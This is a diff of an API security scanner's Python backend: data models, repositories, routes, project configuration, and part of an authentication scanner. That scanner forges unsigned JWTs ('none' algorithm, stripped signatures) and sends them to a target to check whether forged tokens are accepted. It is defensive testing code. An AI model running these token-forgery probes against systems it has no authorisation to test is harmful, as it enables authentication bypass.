def decode_token(token: str) -> dict[str, str]:
"""
Decode and verify a JWT token
"""
try:
payload = jwt.decode(
token,
settings.SECRET_KEY,
algorithms = [settings.ALGORITHM]
)
return payload
except JWTError as e:
raise ValueError(f"Invalid token: {str(e)}") from e

View File

@ -0,0 +1,77 @@
"""
AngelaMos | 2025
FastAPI application factory for main.py
"""
from fastapi import FastAPI
from fastapi.middleware.cors import CORSMiddleware
from slowapi import (
Limiter,
_rate_limit_exceeded_handler,
)
from slowapi.errors import RateLimitExceeded
from slowapi.util import get_remote_address
from .config import settings
from .core.database import Base, engine
from .routes import auth_router, scans_router
def create_app() -> FastAPI:
"""
Application factory function
"""
Base.metadata.create_all(bind=engine)
app = FastAPI(
title=settings.APP_NAME,
version=settings.VERSION,
docs_url="/api/docs",
redoc_url="/api/redoc",
debug=settings.DEBUG,
)
limiter = Limiter(key_func=get_remote_address)
app.state.limiter = limiter
app.add_exception_handler(RateLimitExceeded, _rate_limit_exceeded_handler)
app.add_middleware(
CORSMiddleware,
allow_origins=settings.cors_origins_list,
allow_credentials=True,
allow_methods=["*"],
allow_headers=["*"],
)
_register_routes(app)
return app
def _register_routes(app: FastAPI) -> None:
"""
Register all application routes
"""
@app.get("/")
def root() -> dict[str, str]:
"""
API root endpoint
"""
return {
"app": settings.APP_NAME,
"version": settings.VERSION,
"status": "healthy",
}
@app.get("/health")
def health_check() -> dict[str, str]:
"""
Health check endpoint
"""
return {"status": "healthy"}
app.include_router(auth_router)
app.include_router(scans_router)

View File

@ -0,0 +1,20 @@
"""
AngelaMos | 2025
FastAPI application entry point
"""
import uvicorn
from .config import settings
from .factory import create_app
app = create_app()
if __name__ == "__main__":
uvicorn.run(
"main:app",
host=settings.BACKEND_HOST,
port=settings.BACKEND_PORT,
reload=settings.DEBUG,
)

View File

@ -0,0 +1,78 @@
"""
AngelaMos | 2025
Base model class
Common fields and methods for all models
"""
from typing import Any
from sqlalchemy import (
Column,
DateTime,
Integer,
)
from datetime import datetime, UTC
from sqlalchemy.ext.declarative import declared_attr
from ..core.database import Base
class BaseModel(Base):
"""
Abstract base model with common fields and methods
All models inherit from this class
"""
__abstract__ = True
id = Column(
Integer,
primary_key = True,
index = True,
autoincrement = True
)
created_at = Column(
DateTime(timezone = True),
default = lambda: datetime.now(UTC)
)
updated_at = Column(
DateTime(timezone = True),
default = lambda: datetime.now(UTC),
onupdate = lambda: datetime.now(UTC),
)
@declared_attr
def __tablename__(cls) -> str:
"""
Auto-generate table name from class name
"""
return cls.__name__.lower()
def to_dict(self) -> dict[str, Any]:
"""
Convert model instance to dictionary
Returns:
dict: Dictionary representation of the model
"""
return {
column.name: getattr(self,
column.name)
for column in self.__table__.columns
}
def update(self, **kwargs: Any) -> None:
"""
Update model fields from keyword arguments
Args:
**kwargs: Field names and values to update
"""
for key, value in kwargs.items():
if hasattr(self, key):
setattr(self, key, value)
self.updated_at = datetime.now(UTC)
def __repr__(self) -> str:
"""
String representation of model
"""
return f"<{self.__class__.__name__}(id={self.id})>"

View File

@ -0,0 +1,83 @@
"""
AngelaMos | 2025
Scan model for storing security scan metadata
"""
from datetime import (
UTC,
datetime,
)
from sqlalchemy import (
Column,
DateTime,
ForeignKey,
Integer,
String,
)
from sqlalchemy.orm import relationship
from ..config import settings
from .Base import BaseModel
class Scan(BaseModel):
"""
Stores metadata about scans performed on target URLs
"""
__tablename__ = "scans"
user_id = Column(
Integer,
ForeignKey("users.id",
ondelete = "CASCADE"),
nullable = False,
index = True,
)
target_url = Column(
String(settings.URL_MAX_LENGTH),
nullable = False,
)
scan_date = Column(
DateTime(timezone = True),
default = lambda: datetime.now(UTC),
nullable = False,
)
user = relationship("User", backref = "scans")
test_results = relationship(
"TestResult",
back_populates = "scan",
cascade = "all, delete-orphan",
)
def __repr__(self) -> str:
"""
String representation of Scan
"""
return f"<Scan(id={self.id}, target_url={self.target_url}, user_id={self.user_id})>"
@property
def has_vulnerabilities(self) -> bool:
"""
Check if scan found any vulnerabilities
Returns:
bool: True if any test result is vulnerable
"""
return any(
result.status == "vulnerable"
for result in self.test_results
)
@property
def vulnerability_count(self) -> int:
"""
Count of vulnerabilities found in this scan
Returns:
int: Number of vulnerable test results
"""
return sum(
1 for result in self.test_results
if result.status == "vulnerable"
)

View File

@ -0,0 +1,89 @@
"""
AngelaMos | 2025
TestResult model for storing individual security test results
"""
from sqlalchemy import (
Column,
Enum,
ForeignKey,
Integer,
Text,
)
from sqlalchemy.orm import relationship
from sqlalchemy.dialects.postgresql import JSON
from ..core.enums import (
ScanStatus,
Severity,
TestType,
)
from .Base import BaseModel
class TestResult(BaseModel):
"""
Stores individual test results for each security scan
"""
__tablename__ = "test_results"
scan_id = Column(
Integer,
ForeignKey("scans.id",
ondelete = "CASCADE"),
nullable = False,
index = True,
)
test_name = Column(
Enum(TestType),
nullable = False,
index = True,
)
status = Column(
Enum(ScanStatus),
nullable = False,
index = True,
)
severity = Column(
Enum(Severity),
nullable = False,
index = True,
)
details = Column(Text, nullable = False)
evidence_json = Column(JSON, nullable = False, default = dict)
recommendations_json = Column(
JSON,
nullable = False,
default = list
)
scan = relationship("Scan", back_populates = "test_results")
def __repr__(self) -> str:
"""
String representation of TestResult
"""
return (
f"<TestResult(id={self.id}, test_name={self.test_name.value}, "
f"status={self.status.value})>"
)
@property
def is_vulnerable(self) -> bool:
"""
Check if this test result indicates a vulnerability
Returns:
bool: True if status is vulnerable
"""
return self.status == ScanStatus.VULNERABLE
@property
def is_high_severity(self) -> bool:
"""
Check if this is a high severity vulnerability
Returns:
bool: True if severity is high
"""
return self.severity == Severity.HIGH

View File

@ -0,0 +1,45 @@
"""
AngelaMos | 2025
User model for authentication and user management
"""
from sqlalchemy import (
Boolean,
Column,
String,
)
from ..config import settings
from .Base import BaseModel
class User(BaseModel):
"""
Stores authentication credentials and user information
"""
__tablename__ = "users"
email = Column(
String(settings.EMAIL_MAX_LENGTH),
unique = True,
nullable = False,
index = True,
)
hashed_password = Column(String, nullable = False)
is_active = Column(Boolean, default = True, nullable = False)
def __repr__(self) -> str:
"""
String representation of User
"""
return f"<User(id={self.id}, email={self.email})>"
@property
def is_authenticated(self) -> bool:
"""
Check if user is active and authenticated
Returns:
bool: True if user is active
"""
return self.is_active

View File

@ -0,0 +1,18 @@
"""
AngelaMos | 2025
Database models package
"""
from .Base import BaseModel
from .User import User
from .Scan import Scan
from .TestResult import TestResult
__all__ = [
"BaseModel",
"User",
"Scan",
"TestResult",
]

View File

@ -0,0 +1,257 @@
[project]
name = "api-security-scanner-backend"
version = "1.0.0"
description = "Backend API for security testing tool"
requires-python = ">=3.11"
authors = [ # Replace my Name & Email Here
{name = "CarerPerez-dev", email = "support@certgames.com"}
]
readme = "README.md"
license = {text = "MIT"}
dependencies = [
# FastAPI and server
"fastapi==0.121.1",
"uvicorn[standard]==0.38.0",
"python-multipart===0.0.20",
# Database
"sqlalchemy==2.0.44",
"psycopg2-binary==2.9.11",
"alembic==1.17.1",
# Security
"slowapi==0.1.9",
"passlib[bcrypt]==1.7.4",
"python-jose[cryptography]==3.5.0",
"bcrypt==4.3.0",
# HTTP client for scanners
"httpx==0.28.1",
"aiohttp==3.13.2",
# Settings management
"pydantic==2.12.4",
"pydantic-settings==2.11.0",
"python-dotenv==1.2.1",
# Utilities
"email-validator==2.3.0",
]
[project.optional-dependencies]
dev = [
"pylint==3.3.8",
"pre-commit==4.3.0",
"pip-audit==2.9.0",
"ruff==0.14.4",
"mypy==1.18.2",
"bandit[toml]==1.8.6",
"yapf==0.43.0",
"pylint-pydantic==0.3.5",
"pylint-per-file-ignores==1.4.0",
"pylint-plugin-utils==0.9.0",
"pylint-pydantic==0.3.5"
]
[build-system]
requires = ["setuptools>=80.9.0", "wheel>=0.45.1"]
build-backend = "setuptools.build_meta"
[tool.setuptools]
py-modules = ["main", "config", "factory"]
[tool.ruff]
target-version = "py311"
line-length = 95
indent-width = 4
exclude = [
".bzr",
".direnv",
".eggs",
".git",
".git-rewrite",
".hg",
".ipynb_checkpoints",
".mypy_cache",
".nox",
".pyenv",
".pytest_cache",
".pytype",
".ruff_cache",
".svn",
".tox",
".venv",
"__pycache__",
"_build",
"build",
"dist",
"site-packages",
"venv",
"migrations",
"devtools",
"main.py",
]
[tool.ruff.lint]
select = [
"E1", # Indentation
"E4", # Imports
"E7", # Statement
"F", # Pyflakes (all F rules)
"W292", # No newline at end of file
"W605", # Invalid escape sequence
"B", # Bugbear
"C4", # Comprehensions
"UP", # Pyupgrade
"ARG", # Unused arguments
"SIM", # Simplify
"I", # isort rules
"F401", # Unused imports
"F811", # Redefined imports
"F821", # Undefined name
]
ignore = [
"E501", # Line length (handled by formatter)
"W291", # Trailing whitespace
"W293", # Blank line contains whitespace
"I001", # Import sorting
"RUF001", # Ambiguous unicode
"RUF002", # Docstring with ambiguous unicode
]
[tool.ruff.lint.per-file-ignores]
"__init__.py" = ["ALL"]
"core/dependencies.py" = ["B008"]
"routes/auth.py" = ["ARG001", "B008"]
"routes/scans.py" = ["ARG001", "B008"]
"scanners/base_scanner.py" = ["B010"]
[tool.mypy]
python_version = "3.11"
mypy_path = "backend"
namespace_packages = true
explicit_package_bases = true
warn_return_any = false
warn_unused_configs = true
disallow_untyped_defs = false
disallow_incomplete_defs = true
ignore_missing_imports = true
check_untyped_defs = false
no_implicit_optional = true
warn_redundant_casts = true
warn_unused_ignores = true
warn_no_return = true
show_error_codes = true
show_column_numbers = true
pretty = true
exclude = [
".venv",
"venv",
]
[[tool.mypy.overrides]]
module = [
"models.*",
"repositories.*",
"core.security",
"core.database",
"scanners.*",
"schemas.*",
"services.*",
"routes.*",
"factory",
"config",
]
disable_error_code = [
"no-any-return",
"assignment",
"return-value",
"arg-type",
"var-annotated",
"index",
"attr-defined",
"operator",
"union-attr",
"call-arg",
"dict-item",
]
[tool.pylint.main]
py-version = "3.11"
jobs = 4
load-plugins = [
"pylint_pydantic",
"pylint_per_file_ignores"
]
persistent = true
suggestion-mode = true
ignore = [
"venv",
".venv",
"__pycache__",
"build",
"dist",
".git",
".pytest_cache",
".mypy_cache",
".ruff_cache",
]
ignore-paths = [
"^venv/.*",
"^.venv/.*",
"^build/.*",
"^dist/.*",
]
[tool.pylint.type-check]
generated-members = [
"objects",
"id",
"get_or_create",
"DoesNotExist",
"MultipleObjectsReturned",
"objects.get_or_create"
]
[tool.pylint.messages_control]
disable = [
"C0111", # missing-docstring
"C0103", # invalid-name
"R0903", # too-few-public-methods
"W0511", # fixme
"W0622", # redefined-builtin
"W0612", # unused-variable (handled by ruff)
"W0613", # unused-argument (handled by ruff)
"C0301", # Line too long
"C0302", # Too many lines
"C0411", # Wrong import order
"C0305", # Trailing newlines
"C0303", # Trailing whitespace
"C0304", # Final newline missing
"R0801", # Similar lines (want exact duplicates only)
]
per-file-ignores = [
"schemas/scan_schemas.py:C0415",
"scanners/rate_limit_scanner.py:W0718",
"scanners/auth_scanner.py:W0718",
"scanners/sqli_scanner.py:W0718",
"scanners/idor_scanner.py:W0718",
"services/scan_service.py:W0718",
"models/Base.py:E0213",
]
[tool.pylint.design]
max-args = 10
max-attributes = 12
max-branches = 13
max-locals = 20
max-statements = 40
[tool.bandit]
exclude_dirs = [
".venv",
"venv",
]
skips = ["B104"]

View File

@ -0,0 +1,12 @@
"""Database repository layer for data access operations"""
from .user_repository import UserRepository
from .scan_repository import ScanRepository
from .test_result_repository import TestResultRepository
__all__ = [
"UserRepository",
"ScanRepository",
"TestResultRepository",
]

View File

@ -0,0 +1,159 @@
"""
AngelaMos | 2025
Handles all Scan model database queries
"""
from __future__ import annotations
from datetime import UTC, datetime
from sqlalchemy.orm import (
Session,
joinedload,
)
from ..config import settings
from ..models.Scan import Scan
class ScanRepository:
"""
Repository for Scan database operations
"""
@staticmethod
def create_scan(
db: Session,
user_id: int,
target_url: str,
commit: bool = True
) -> Scan:
"""
Create a new scan
Args:
db: Database session
user_id: User ID who initiated the scan
target_url: Target URL to scan
commit: Whether to commit the transaction
Returns:
Scan: Created scan instance
"""
scan = Scan(
user_id = user_id,
target_url = target_url,
scan_date = datetime.now(UTC),
)
db.add(scan)
if commit:
db.commit()
db.refresh(scan)
return scan
@staticmethod
def get_by_id(db: Session, scan_id: int) -> Scan | None:
"""
Get scan by ID with test results loaded
Args:
db: Database session
scan_id: Scan ID
Returns:
Scan | None: Scan instance or None if not found
"""
return (
db.query(Scan).options(
joinedload(Scan.test_results)
).filter(Scan.id == scan_id).first()
)
@staticmethod
def get_by_user(
db: Session,
user_id: int,
skip: int = 0,
limit: int | None = None
) -> list[Scan]:
"""
Get all scans for a user with pagination.
Args:
db: Database session
user_id: User ID
skip: Number of records to skip
limit: Maximum number of records to return (DEFAULT_PAGINATION_LIMIT)
Returns:
list[Scan]: List of scans with test results
"""
if limit is None:
limit = settings.DEFAULT_PAGINATION_LIMIT
return (
db.query(Scan).options(
joinedload(Scan.test_results)
).filter(Scan.user_id == user_id).order_by(
Scan.scan_date.desc()
).offset(skip).limit(limit).all()
)
@staticmethod
def get_recent(db: Session,
limit: int | None = None) -> list[Scan]:
"""
Get most recent scans across all users.
Args:
db: Database session
limit: Maximum number of scans to return (DEFAULT_PAGINATION_LIMIT)
Returns:
list[Scan]: List of recent scans
"""
if limit is None:
limit = settings.DEFAULT_PAGINATION_LIMIT
return (
db.query(Scan).options(
joinedload(Scan.test_results)
).order_by(Scan.scan_date.desc()).limit(limit).all()
)
@staticmethod
def delete(
db: Session,
scan_id: int,
commit: bool = True
) -> bool:
"""
Delete a scan (cascades to test results).
Args:
db: Database session
scan_id: Scan ID to delete
commit: Whether to commit the transaction
Returns:
bool: True if deleted, False if not found
"""
scan = ScanRepository.get_by_id(db, scan_id)
if scan:
db.delete(scan)
if commit:
db.commit()
return True
return False
@staticmethod
def count_by_user(db: Session, user_id: int) -> int:
"""
Count total scans for a user.
Args:
db: Database session
user_id: User ID
Returns:
int: Total number of scans
"""
return db.query(Scan).filter(Scan.user_id == user_id).count()

View File

@ -0,0 +1,177 @@
"""
AngelaMos | 2025
TestResult repository for database operations
"""
from __future__ import annotations
from typing import Any
from sqlalchemy.orm import Session
from ..core.enums import (
ScanStatus,
Severity,
TestType,
)
from ..models.TestResult import TestResult
class TestResultRepository:
"""
Repository for TestResult database operations
"""
@staticmethod
def create_test_result(
db: Session,
scan_id: int,
*,
test_name: TestType,
status: ScanStatus,
severity: Severity,
details: str,
evidence_json: dict[str,
Any],
recommendations_json: list[str],
commit: bool = True,
) -> TestResult:
"""
Create a new test result.
Args:
db: Database session
scan_id: Scan ID this result belongs to
test_name: Type of security test
status: Test status (vulnerable, safe, error)
severity: Vulnerability severity
details: Detailed description
evidence_json: Evidence data as JSON
recommendations_json: List of recommendations
commit: Whether to commit the transaction
Returns:
TestResult: Created test result instance
"""
test_result = TestResult(
scan_id = scan_id,
test_name = test_name,
status = status,
severity = severity,
details = details,
evidence_json = evidence_json,
recommendations_json = recommendations_json,
)
db.add(test_result)
if commit:
db.commit()
db.refresh(test_result)
return test_result
@staticmethod
def bulk_create(
db: Session,
test_results: list[TestResult],
commit: bool = True
) -> list[TestResult]:
"""
Create multiple test results in bulk
Args:
db: Database session
test_results: List of TestResult instances to create
commit: Whether to commit the transaction
Returns:
list[TestResult]: Created test result instances
"""
db.add_all(test_results)
if commit:
db.commit()
for result in test_results:
db.refresh(result)
return test_results
@staticmethod
def get_by_scan(db: Session, scan_id: int) -> list[TestResult]:
"""
Get all test results for a specific scan
Args:
db: Database session
scan_id: Scan ID
Returns:
list[TestResult]: List of test results for the scan
"""
return (
db.query(TestResult).filter(
TestResult.scan_id == scan_id
).order_by(TestResult.created_at.asc()).all()
)
@staticmethod
def get_by_status(db: Session,
scan_id: int,
status: ScanStatus) -> list[TestResult]:
"""
Get test results by status for a scan
Args:
db: Database session
scan_id: Scan ID
status: Status to filter by
Returns:
list[TestResult]: Filtered test results
"""
return (
db.query(TestResult).filter(
TestResult.scan_id == scan_id,
TestResult.status == status
).all()
)
@staticmethod
def get_vulnerabilities(db: Session,
scan_id: int) -> list[TestResult]:
"""
Get only vulnerable test results for a scan
Args:
db: Database session
scan_id: Scan ID
Returns:
list[TestResult]: Vulnerable test results only
"""
return TestResultRepository.get_by_status(
db,
scan_id,
ScanStatus.VULNERABLE
)
@staticmethod
def delete_by_scan(
db: Session,
scan_id: int,
commit: bool = True
) -> int:
"""
Delete all test results for a scan
Args:
db: Database session
scan_id: Scan ID
commit: Whether to commit the transaction
Returns:
int: Number of test results deleted
"""
count = (
db.query(TestResult).filter(
TestResult.scan_id == scan_id
).delete()
)
if commit:
db.commit()
return count

View File

@ -0,0 +1,147 @@
"""
AngelaMos | 2025
User repository for database operations
"""
from __future__ import annotations
from sqlalchemy.orm import Session
from ..config import settings
from ..models.User import User
class UserRepository:
"""
Repository for User database operations
"""
@staticmethod
def get_by_id(db: Session, user_id: int) -> User | None:
"""
Get user by ID
Args:
db: Database session
user_id: User ID
Returns:
User | None: User instance or None if not found
"""
return db.query(User).filter(User.id == user_id).first()
@staticmethod
def get_by_email(db: Session, email: str) -> User | None:
"""
Get user by email address
Args:
db: Database session
email: User email address
Returns:
User | None: User instance or None if not found
"""
return db.query(User).filter(User.email == email).first()
@staticmethod
def create_user(
db: Session,
email: str,
hashed_password: str,
commit: bool = True
) -> User:
"""
Create a new user
Args:
db: Database session
email: User email address
hashed_password: Bcrypt hashed password
commit: Whether to commit the transaction
Returns:
User: Created user instance
"""
user = User(email = email, hashed_password = hashed_password)
db.add(user)
if commit:
db.commit()
db.refresh(user)
return user
@staticmethod
def get_all_active(
db: Session,
skip: int = 0,
limit: int | None = None
) -> list[User]:
"""
Get all active users with pagination
Args:
db: Database session
skip: Number of records to skip
limit: Maximum number of records to return (DEFAULT_PAGINATION_LIMIT)
Returns:
list[User]: List of active users
"""
if limit is None:
limit = settings.DEFAULT_PAGINATION_LIMIT
return (
db.query(User).filter(User.is_active
).offset(skip).limit(limit).all()
)
@staticmethod
def update_active_status(
db: Session,
user_id: int,
is_active: bool,
commit: bool = True
) -> User | None:
"""
Update user active status
Args:
db: Database session
user_id: User ID
is_active: New active status
commit: Whether to commit the transaction
Returns:
User | None: Updated user or None if not found
"""
user = UserRepository.get_by_id(db, user_id)
if user:
user.is_active = is_active
if commit:
db.commit()
db.refresh(user)
return user
@staticmethod
def delete(
db: Session,
user_id: int,
commit: bool = True
) -> bool:
"""
Delete a user
Args:
db: Database session
user_id: User ID to delete
commit: Whether to commit the transaction
Returns:
bool: True if deleted, False if not found
"""
user = UserRepository.get_by_id(db, user_id)
if user:
db.delete(user)
if commit:
db.commit()
return True
return False

View File

@ -0,0 +1,28 @@
# ⒸAngelaMos | 2025
# FastAPI and server
fastapi>=0.109.0
uvicorn[standard]>=0.27.0
python-multipart>=0.0.6
# Database
sqlalchemy>=2.0.25
psycopg2-binary>=2.9.9
alembic>=1.13.0
# Security
passlib[bcrypt]>=1.7.4
python-jose[cryptography]>=3.3.0
bcrypt>=4.1.2
# HTTP client for scanners
httpx>=0.26.0
aiohttp>=3.9.0
# Settings management
pydantic>=2.5.0
pydantic-settings>=2.1.0
python-dotenv>=1.0.0
# Utilities
email-validator>=2.1.0

View File

@ -0,0 +1,11 @@
"""
API route handlers
"""
from .auth import router as auth_router
from .scans import router as scans_router
__all__ = [
"auth_router",
"scans_router",
]

View File

@ -0,0 +1,63 @@
"""
©AngelaMos | 2025
Authentication routes - registration and login
"""
from fastapi import (
APIRouter,
Depends,
Request,
status,
)
from slowapi import Limiter
from slowapi.util import get_remote_address
from sqlalchemy.orm import Session
from ..config import settings
from ..core.database import get_db
from ..schemas.user_schemas import (
TokenResponse,
UserCreate,
UserLogin,
UserResponse,
)
from ..services.auth_service import AuthService
router = APIRouter(prefix="/auth", tags=["authentication"])
limiter = Limiter(key_func=get_remote_address)
@router.post(
"/register",
response_model=UserResponse,
status_code=status.HTTP_201_CREATED,
)
@limiter.limit(settings.API_RATE_LIMIT_REGISTER)
async def register(
request: Request,
user_data: UserCreate,
db: Session = Depends(get_db),
) -> UserResponse:
"""
Register a new user account
"""
return AuthService.register_user(db, user_data)
@router.post(
"/login",
response_model=TokenResponse,
status_code=status.HTTP_200_OK,
)
@limiter.limit(settings.API_RATE_LIMIT_LOGIN)
async def login(
request: Request,
login_data: UserLogin,
db: Session = Depends(get_db),
) -> TokenResponse:
"""
Authenticate user and receive JWT token
"""
return AuthService.login_user(db, login_data)

View File

@ -0,0 +1,100 @@
"""
©AngelaMos | 2025
Scan routes - create, retrieve, and manage security scans
"""
from fastapi import (
APIRouter,
Depends,
Request,
status,
)
from slowapi import Limiter
from slowapi.util import get_remote_address
from sqlalchemy.orm import Session
from ..config import settings
from ..core.database import get_db
from ..core.dependencies import get_current_user
from ..schemas.scan_schemas import (
ScanRequest,
ScanResponse,
)
from ..schemas.user_schemas import UserResponse
from ..services.scan_service import ScanService
router = APIRouter(prefix="/scans", tags=["scans"])
limiter = Limiter(key_func=get_remote_address)
@router.post(
"/",
response_model=ScanResponse,
status_code=status.HTTP_201_CREATED,
)
@limiter.limit(settings.API_RATE_LIMIT_SCAN)
async def create_scan(
request: Request,
scan_request: ScanRequest,
db: Session = Depends(get_db),
current_user: UserResponse = Depends(get_current_user),
) -> ScanResponse:
"""
Create and execute a new security scan
"""
return ScanService.run_scan(db, current_user.id, scan_request)
@router.get(
"/",
response_model=list[ScanResponse],
status_code=status.HTTP_200_OK,
)
@limiter.limit(settings.API_RATE_LIMIT_DEFAULT)
async def get_user_scans(
request: Request,
skip: int = 0,
limit: int | None = None,
db: Session = Depends(get_db),
current_user: UserResponse = Depends(get_current_user),
) -> list[ScanResponse]:
"""
Get all scans for the authenticated user
"""
return ScanService.get_user_scans(db, current_user.id, skip, limit)
@router.get(
"/{scan_id}",
response_model=ScanResponse,
status_code=status.HTTP_200_OK,
)
@limiter.limit(settings.API_RATE_LIMIT_DEFAULT)
async def get_scan(
request: Request,
scan_id: int,
db: Session = Depends(get_db),
current_user: UserResponse = Depends(get_current_user),
) -> ScanResponse:
"""
Get a specific scan by ID
"""
return ScanService.get_scan_by_id(db, scan_id, current_user.id)
@router.delete(
"/{scan_id}",
status_code=status.HTTP_204_NO_CONTENT,
)
@limiter.limit(settings.API_RATE_LIMIT_DEFAULT)
async def delete_scan(
request: Request,
scan_id: int,
db: Session = Depends(get_db),
current_user: UserResponse = Depends(get_current_user),
) -> None:
"""
Delete a scan by ID
"""
ScanService.delete_scan(db, scan_id, current_user.id)

View File

@ -0,0 +1,16 @@
"""Security scanner modules for API vulnerability testing"""
from .base_scanner import BaseScanner
from .rate_limit_scanner import RateLimitScanner
from .auth_scanner import AuthScanner
from .sqli_scanner import SQLiScanner
from .idor_scanner import IDORScanner
__all__ = [
"BaseScanner",
"RateLimitScanner",
"AuthScanner",
"SQLiScanner",
"IDORScanner",
]

View File

@ -0,0 +1,381 @@
"""
©AngelaMos | 2025
Authentication and authorization vulnerability scanner
OWASP API2:2023
"""
from __future__ import annotations
import base64
import json
from typing import Any
from ..config import settings
from ..core.enums import (
ScanStatus,
Severity,
TestType,
)
from ..schemas.test_result_schemas import TestResultCreate
from .payloads import AuthPayloads
from .base_scanner import BaseScanner
class AuthScanner(BaseScanner):
"""
Tests for broken authentication vulnerabilities
Detects:
- Missing authentication on endpoints
- Weak/invalid token acceptance
- JWT vulnerabilities (none algorithm, weak secrets)
- Missing rate limiting on auth endpoints
Maps to OWASP API Security Top 10 2023: API2:2023
"""
def scan(self) -> TestResultCreate:
"""
Execute authentication tests
Returns:
TestResultCreate: Scan result with findings
"""
missing_auth_test = self._test_missing_authentication()
if missing_auth_test["vulnerable"]:
return self._create_vulnerable_result(
details="Endpoint accessible without authentication",
evidence=missing_auth_test,
severity=Severity.HIGH,
recommendations=[
"Require authentication for all sensitive endpoints",
"Implement proper authentication middleware",
"Return 401 Unauthorized for missing/invalid credentials",
],
)
if self.auth_token:
jwt_test = self._test_jwt_vulnerabilities()
if jwt_test["vulnerable"]:
return self._create_vulnerable_result(
details=f"JWT vulnerability: {jwt_test['vulnerability_type']}",
evidence=jwt_test,
severity=Severity.CRITICAL,
recommendations=jwt_test.get(
"recommendations",
[
"Properly validate JWT signatures",
"Reject 'none' algorithm tokens",
"Use strong secrets (256+ bits)",
"Implement token expiration checks",
],
),
)
invalid_token_test = self._test_invalid_token_handling()
if invalid_token_test["vulnerable"]:
return self._create_vulnerable_result(
details="Invalid tokens accepted by endpoint",
evidence=invalid_token_test,
severity=Severity.HIGH,
recommendations=[
"Reject invalid/malformed tokens with 401 status",
"Validate token format, signature, and expiration",
"Log authentication failures for monitoring",
],
)
return TestResultCreate(
test_name=TestType.AUTH,
status=ScanStatus.SAFE,
severity=Severity.INFO,
details="Authentication properly implemented",
evidence_json={
"missing_auth_test": missing_auth_test,
"invalid_token_test": invalid_token_test,
},
recommendations_json=[
"Authentication is properly configured",
"Consider implementing additional security measures (2FA, refresh tokens)",
],
)
def _test_missing_authentication(self) -> dict[str, Any]:
"""
Test if endpoint requires authentication
Attempts to access endpoint without credentials.
Returns:
dict[str, Any]: Test results
"""
session_without_auth = self.session.__class__()
session_without_auth.headers.update(
{
"User-Agent": f"{settings.APP_NAME}/{settings.VERSION}",
"Accept": "application/json",
}
)
try:
response = session_without_auth.get(
self.target_url,
timeout=settings.SCANNER_CONNECTION_TIMEOUT,
)
if response.status_code == 200:
return {
"vulnerable": True,
"status_code": response.status_code,
"response_length": len(response.text),
"description": "Endpoint accessible without authentication",
}
if response.status_code in (401, 403):
return {
"vulnerable": False,
"status_code": response.status_code,
"description": "Endpoint properly requires authentication",
}
return {
"vulnerable": False,
"status_code": response.status_code,
"description": "Endpoint returned unexpected status",
}
except Exception as e:
return {
"vulnerable": False,
"error": str(e),
"description": "Error testing authentication requirement",
}
def _test_jwt_vulnerabilities(self) -> dict[str, Any]:
"""
Test for common JWT vulnerabilities
Tests:
- None algorithm acceptance
- Signature removal
- Weak secret detection (common patterns)
Returns:
dict[str, Any]: JWT vulnerability test results
"""
if not self.auth_token or self.auth_token.count(".") != 2:
return {
"vulnerable": False,
"description": "No valid JWT token provided",
}
none_alg_test = self._test_none_algorithm()
if none_alg_test["vulnerable"]:
return none_alg_test
signature_removal_test = self._test_signature_removal()
if signature_removal_test["vulnerable"]:
return signature_removal_test
return {
"vulnerable": False,
"tests_performed": ["none_algorithm", "signature_removal"],
"description": "No JWT vulnerabilities detected",
}
def _test_none_algorithm(self) -> dict[str, Any]:
"""
Test if server accepts JWT with 'none' algorithm
Critical vulnerability: allows unsigned tokens to be accepted.
Returns:
dict[str, Any]: None algorithm test results
"""
try:
header, payload, signature = self.auth_token.split(".")
none_variants = AuthPayloads.get_jwt_none_variants()
for variant in none_variants:
malicious_header = self._base64url_encode(
json.dumps({"alg": variant, "typ": "JWT"})
)
malicious_token = f"{malicious_header}.{payload}."
response = self.make_request(
"GET",
"/",
headers={"Authorization": f"Bearer {malicious_token}"},
)
if response.status_code == 200:
return {
"vulnerable": True,
"vulnerability_type": "JWT None Algorithm",
"algorithm_variant": variant,
"status_code": response.status_code,
"recommendations": [
"Reject tokens with 'none' algorithm (all case variations)",
"Explicitly verify signature before accepting tokens",
"Use allowlist of accepted algorithms",
],
}
return {
"vulnerable": False,
"description": "None algorithm properly rejected",
}
except Exception as e:
return {
"vulnerable": False,
"error": str(e),
"description": "Error testing none algorithm",
}
def _test_signature_removal(self) -> dict[str, Any]:
"""
Test if server accepts JWT with signature removed
Returns:
dict[str, Any]: Signature removal test results
"""
try:
header, payload, signature = self.auth_token.split(".")
malicious_token = f"{header}.{payload}."
response = self.make_request(
"GET",
"/",
headers={"Authorization": f"Bearer {malicious_token}"},
)
if response.status_code == 200:
return {
"vulnerable": True,
"vulnerability_type": "JWT Signature Not Verified",
"status_code": response.status_code,
"recommendations": [
"Require valid signature on all JWT tokens",
"Reject tokens with missing or invalid signatures",
"Implement proper JWT validation library",
],
}
return {
"vulnerable": False,
"description": "Signature removal properly rejected",
}
except Exception as e:
return {
"vulnerable": False,
"error": str(e),
"description": "Error testing signature removal",
}
def _test_invalid_token_handling(self) -> dict[str, Any]:
"""
Test how server handles invalid/malformed tokens
Returns:
dict[str, Any]: Invalid token handling test results
"""
invalid_tokens = AuthPayloads.INVALID_TOKEN_FORMATS
accepted_invalid = []
for invalid_token in invalid_tokens:
try:
response = self.make_request(
"GET",
"/",
headers={"Authorization": f"Bearer {invalid_token}"},
)
if response.status_code == 200:
accepted_invalid.append(
{
"token": invalid_token[:50],
"status_code": response.status_code,
}
)
except Exception:
continue
if accepted_invalid:
return {
"vulnerable": True,
"accepted_invalid_tokens": accepted_invalid,
"count": len(accepted_invalid),
}
return {
"vulnerable": False,
"description": "Invalid tokens properly rejected",
"tokens_tested": len(invalid_tokens),
}
def _base64url_decode(self, data: str) -> dict[str, Any]:
"""
Decode base64url-encoded JWT data
Args:
data: Base64url-encoded string
Returns:
dict[str, Any]: Decoded JSON data
"""
padding = 4 - (len(data) % 4)
if padding != 4:
data += "=" * padding
decoded = base64.urlsafe_b64decode(data)
return json.loads(decoded)
def _base64url_encode(self, data: str) -> str:
"""
Encode data to base64url format
Args:
data: String data to encode
Returns:
str: Base64url-encoded string
"""
encoded = base64.urlsafe_b64encode(data.encode()).decode()
return encoded.rstrip("=")
def _create_vulnerable_result(
self,
details: str,
evidence: dict[str, Any],
severity: Severity = Severity.HIGH,
recommendations: list[str] | None = None,
) -> TestResultCreate:
"""
Create a vulnerable scan result
Args:
details: Vulnerability description
evidence: Evidence dictionary
severity: Vulnerability severity
recommendations: List of remediation recommendations
Returns:
TestResultCreate: Vulnerable result
"""
return TestResultCreate(
test_name=TestType.AUTH,
status=ScanStatus.VULNERABLE,
